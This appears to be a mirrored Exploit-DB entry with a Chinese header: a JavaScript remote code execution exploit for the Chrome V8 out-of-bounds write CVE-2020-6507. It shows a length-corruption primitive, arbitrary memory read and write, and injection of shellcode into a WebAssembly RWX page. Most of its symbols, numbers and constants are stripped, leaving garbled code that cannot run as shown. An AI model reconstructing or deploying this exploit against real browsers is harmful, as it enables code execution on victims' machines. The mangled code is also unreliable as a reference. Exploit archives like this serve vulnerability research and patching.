标题: Google Chrome 81.0.4044 V8 - Remote Code Execution EDB-ID: 49746 CVE: 2020-6507 类型: REMOTE 平台: MULTIPLE 发布日期: 2021-04-06 漏洞利用脚本: # Exploit Title: Google Chrome 81.0.4044 V8 - Remote Code Execution
# Exploit Author: r4j0x00
# Version: < 83.0.4103.106
# Description: Out of bounds write in V8 in Google Chrome prior to 83.0.4103.106 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
# CVE: CVE-2020-6507

/*
BSD 2-Clause License

Copyright (c) 2021, rajvardhan agarwal
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this
   list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright notice,
   this list of conditions and the following disclaimer in the documentation
   and/or other materials provided with the distribution.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

 buf   
 f64_buf   buf
 u64_buf   buf

 arraybuf   
 wasm_code                                     
 mod   wasm_code
 wasm_instance   mod
 shell  wasm_instanceexportsshell
 obj_array  wasm_instancewasm_instance

 shellcode                                                                                                                                                                  

 val 
         f64_buf  val
          u64_buf  u64_buf  n

 val 
         u64_buf  val  xffffffffn
         u64_buf  val  n
          f64_buf


array  
args    array
args  
giant_array  Arrayprototypeconcat args
giant_arraygiant_arraylength    

length_as_double 
      x2424242400000001nbuffer

 array 
   x  arraylength
  x  
  x  Mathx 
  x  
  x  
  x  Mathx 

   corrupting_array   
   corrupted_array  

  corrupting_arrayx  length_as_double
   corrupting_array corrupted_array


  i   i   i 
  giant_array


corrupted_array  giant_array

 search_space           
 value

 skip  
 i isearch_spacelength i
 
  jsearch_spaceijsearch_spaceij
  
   corrupted_arrayj  n  value  corrupted_arrayj  xffffffffn  value
   
    skip   
      j
   
  
 
  


 value

 iisearch_spacelengthi
 
  jsearch_spaceijsearch_spaceij
  
   corrupted_arrayj  value
   
    corrupted_arrayj  n  xffn  n  corrupted_arrayj  n  xffn  n
    
      j
    
   
  
 
  


 arraybuf_idx  x13373n
arraybuf_idx  

 
   

document  arraybuf_idx  
 addr length

  data  
  u8_arraybuf   arraybuf
 corrupted_arrayarraybuf_idx  addr
 iilengthi
  datau8_arraybufi
  data


 addr data

 corrupted_arrayarraybuf_idx  addr
  u8_arraybuf   arraybuf
 iidatalengthi
  u8_arraybufi  datai


idx  n  n  n  n
 idx  

 
   


wasm_addr  corrupted_arrayidx  xffffffffn
documentwasm_addr  
rwx_idx  wasm_addrnx68nn
rwx_addr  corrupted_arrayrwx_idx
 wasm_addr  xfn  n  wasm_addr  xfn  xdn

 rwx_addr  n
 rwx_addr  corrupted_arrayrwx_idx  xffffffffn  n

documentrwx_addr
rwx_addr shellcode URL: https://www.exploit-db.com/exploits/49746